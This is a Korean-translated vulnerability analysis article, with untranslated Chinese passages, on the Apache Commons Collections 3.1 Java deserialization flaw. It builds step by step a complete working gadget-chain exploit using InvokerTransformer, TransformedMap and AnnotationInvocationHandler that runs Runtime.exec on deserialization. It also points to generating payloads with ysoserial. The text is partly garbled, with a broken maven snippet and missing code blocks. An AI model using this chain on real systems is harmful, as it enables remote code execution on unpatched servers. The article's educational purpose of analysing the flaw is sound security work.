이 구성 요소의 역직렬화 취약점은 많은 기사에서 분석되었지만 여전히 여기에 기록되어야 합니다. 결국 이는 Java 역직렬화 취약점 개발에 중요합니다.
Apache Commons Collections는 Java 애플리케이션 개발에서 매우 일반적으로 사용되는 도구 라이브러리로, 많은 강력한 데이터 구조를 추가하고 Java 애플리케이션 개발을 단순화하며 Java에서 컬렉션 데이터를 처리하는 데 인정받는 표준이 되었습니다. Weblogic, WebSphere, Jboss, Jenkins 등과 같은 많은 일반 애플리케이션은 모두 Apache Commons Collections 도구 라이브러리를 사용합니다. 도구 라이브러리에서 역직렬화 취약점이 발생하면 이러한 애플리케이션도 영향을 받습니다. 이것이 역직렬화 취약점이 심각한 이유입니다. 이유.
jdk1.7.0_21 + commons-collections-3.1.jar
Apache Commons Collections 구성요소 내역 버전 다운로드 주소: http://archive.apache.org/dist/commons/collections/binaries / 또는 maven 종속성을 사용합니다:
commons-collections< /groupId>
.com/frohoff/ysoserial)은 이미 이 구성 요소의 취약성 공격 페이로드를 통합했습니다. 침투 테스트 중에 Java 직렬화된 데이터(16진수 aced 또는 base64 인코딩 형식의 rO0AB로 시작하는 데이터)의 특성만 따르면 됩니다. Java deserialization의 진입점을 찾고 웹 애플리케이션을 기반으로 CommonsCollections 구성 요소가 존재할 수 있다고 추측하면 ysoserial 도구를 사용하여 취약점 공격을 위한 페이로드를 직접 생성할 수 있습니다.
3. 취약점 분석
여기에서는 Transformer 인터페이스와 이 인터페이스를 구현하는 여러 클래스를 사용하여 구성된 코드 실행 취약점 익스플로잇 체인을 분석합니다.
Transformer 인터페이스Transformer 인터페이스의 정의는 매우 간단합니다. 문서에 따르면 이 메서드는 주로 객체 변환에 사용됩니다. 이 인터페이스를 구현하는 꽤 많은 클래스가 있습니다. 여기서는 주로 ConstantTransformer, InvokerTransformer 및 ChainedTransformer의 세 가지 구현 클래스를 사용합니다.package org.apache.commons.collections; public interface Transformer { //对象转换 public Object transform(Object input); }ChainedTransformer 클래스ChainedTransformer 클래스는 Transformer[] 배열을 정의하며, 변환() 메소드 구현 시 배열 요소를 순차적으로 순회하며 배열 요소에 해당하는 Transformer 구현 클래스의 변환() 메소드를 호출합니다. Transformer 객체는 서로 연결되어 있습니다.
public class ChainedTransformer implements Transformer, Serializable { private final Transformer[] iTransformers; ... public ChainedTransformer(Transformer[] transformers) { super(); iTransformers = transformers; } public Object transform(Object object) { for (int i = 0; i < iTransformers.length; i++) { object = iTransformers[i].transform(object); } return object; } ... }InvokerTransformer 클래스InvokerTransformer 클래스의 변환() 메서드는 주로 반사 메커니즘을 통해 들어오는 매개 변수 개체의 메서드를 호출합니다. InvokerTransformer 개체를 구성할 때 메서드 이름, 매개 변수 유형 및 매개 변수 값만 설정하면 됩니다.
public class InvokerTransformer implements Transformer, Serializable { /** The method name to call */ private final String iMethodName; /** The array of reflection parameter types */ private final Class[] iParamTypes; /** The array of reflection arguments */ private final Object[] iArgs; ... public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) { super(); iMethodName = methodName; iParamTypes = paramTypes; iArgs = args; } //简化后的transform()方法,通过反射机制调用对象的方法 public Object transform(Object input) { ... Class cls = input.getClass(); Method method = cls.getMethod(iMethodName, iParamTypes); return method.invoke(input, iArgs); ... } }ConstantTransformer 클래스ConstantTransformer 클래스는 매우 간단하며 들어오는 객체를 직접 반환합니다.
public class ConstantTransformer implements Transformer, Serializable { private final Object iConstant; ... public ConstantTransformer(Object constantToReturn) { super(); iConstant = constantToReturn; } public Object transform(Object input) { return iConstant; } ... }위 상황을 고려하여 Runtime.getRuntime().exec() 코드 실행을 구현하는 것을 목표로 합니다. 분명히 리플렉션 호출을 구현하려면 InvokerTransformer 클래스의 변환() 메서드를 사용해야 합니다. 아래와 같이 코드 실행의 소스는 다음과 같습니다.
package orz.vuln.poc; import org.apache.commons.collections.functors.InvokerTransformer; public class CommonsCollections { public static void main(String[] args) throws Exception { //通过InvokeTransformer类反射调用Runtime代码 InvokerTransformer invoker1 = new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class}, new Object[] {"getRuntime", null}); InvokerTransformer invoker2 = new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class}, new Object[] {null, null}); InvokerTransformer invoker3 = new InvokerTransformer("exec", new Class[] {String.class}, new Object[] {"calc.exe"}); invoker3.transform(invoker2.transform(invoker1.transform(Runtime.class))); /*正常反射调用Runtime代码 Class clazz = Runtime.class; Method m1 = clazz.getMethod("getRuntime", null); Method m2 = clazz.getMethod("exec", String.class); m2.invoke(m1.invoke(clazz, null), "calc.exe"); */ } }
package orz.vuln.poc; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; public class CommonsCollections { public static void main(String[] args) throws Exception { Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class}, new Object[] {"getRuntime", null}), new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class}, new Object[] {null, null}), new InvokerTransformer("exec", new Class[] {String.class}, new Object[] {"calc.exe"}) }; Transformer chainedTransformer = new ChainedTransformer(transformers); chainedTransformer.transform("foo"); } }다음으로, 역직렬화가 코드 실행 목적을 달성하기 위해 Transformer 객체의 변환() 메서드에 대한 호출을 트리거하기를 바랍니다. TransformedMap 클래스Apache Commons Collections는 지도에서 일부 변환을 수행하기 위해 TransformedMap 클래스를 정의합니다. 클래스는 아래와 같이 decor() 메서드를 호출하여 인스턴스화됩니다.
그리고 이 클래스에는 Transformer 객체를 호출하는 변환() 메서드가 구현된 checkSetValue() 메서드는 메서드 설명에 따라 setValue() 메서드가 호출될 때 checkSetValue() 메서드가 호출됩니다.
따라서, 우리의 아이디어는 Map 객체와 생성된 악성 Transformer 객체를 사용하여 TransformedMap 객체를 초기화한 다음 setValue() 메서드를 호출하여 Map 객체의 값을 수정하는 것입니다. 코드는 다음과 같습니다.
package orz.vuln.poc; import java.util.HashMap; import java.util.Map; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.TransformedMap; public class CommonsCollections { public static void main(String[] args) throws Exception { Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class}, new Object[] {"getRuntime", null}), new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class}, new Object[] {null, null}), new InvokerTransformer("exec", new Class[] {String.class}, new Object[] {"calc.exe"}) }; Transformer chainedTransformer = new ChainedTransformer(transformers); //chainedTransformer.transform("foo"); Map map = new HashMap(); map.put("foo", "bar"); Map transformedMap = TransformedMap.decorate(map, null, chainedTransformer); Map.Entry entry = (Map.Entry)transformedMap.entrySet().iterator().next(); entry.setValue("test"); } }
계속해서 찾아보세요. deserialization에 의해 트리거된 setValue() 메소드의 실행 위치는 AnnotationInvocationHandler 클래스의 readObject() 메소드에서 마침내 발견되었습니다.
AnnotationInvocationHandler类的readObject()方法如下所示:
由于该类不提供公开的构造方法进行初始化,所以,我们通过反射调用该类的构造方法,并使用恶意的TransformedMap对象进行初始化,就可以生成攻击payload。在执行entry.setValue()方法之前,需要满足一个判断条件
根据代码溯源可知,clazz变量是一个注解子类对象的属性值,如果要满足clazz变量不为null的话,在Class clazz=map.get(str)中则需要满足str是我们使用的注解类的属性;在漏洞利用代码中我们使用了java.lang.annotation.Target注解,而该注解只有一个属性value,因此我们在map.put()时,需要保证key的值是value。
最终,完整漏洞利用代码如下:
package orz.vuln.poc; import java.io.FileInputStream; import java.io.FileOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.annotation.Target; import java.lang.reflect.Constructor; import java.util.HashMap; import java.util.Map; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.TransformedMap; public class CommonsCollections { public static void main(String[] args) throws Exception { Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class}, new Object[] {"getRuntime", null}), new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class}, new Object[] {null, null}), new InvokerTransformer("exec", new Class[] {String.class}, new Object[] {"calc.exe"}) }; Transformer chainedTransformer = new ChainedTransformer(transformers); //chainedTransformer.transform("foo"); Map map = new HashMap(); map.put("value", "bar");//由于使用java.lang.annotation.Target,此处key值必须为value Map transformedMap = TransformedMap.decorate(map, null, chainedTransformer); //Map.Entry entry = (Map.Entry)transformedMap.entrySet().iterator().next(); //entry.setValue("test"); Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor ctor = clazz.getDeclaredConstructor(Class.class, Map.class); ctor.setAccessible(true); Object instance = ctor.newInstance(Target.class, transformedMap); FileOutputStream fos = new FileOutputStream("D:/commonscollections.ser"); ObjectOutputStream oos = new ObjectOutputStream(fos); oos.writeObject(instance); oos.close(); fos.close(); FileInputStream fis = new FileInputStream("D:/commonscollections.ser"); ObjectInputStream ois = new ObjectInputStream(fis); ois.readObject(); ois.close(); fis.close(); } }
위 내용은 Apache Commons Collections 역직렬화 취약점 분석 예의 상세 내용입니다. 자세한 내용은 PHP 중국어 웹사이트의 기타 관련 기사를 참조하세요!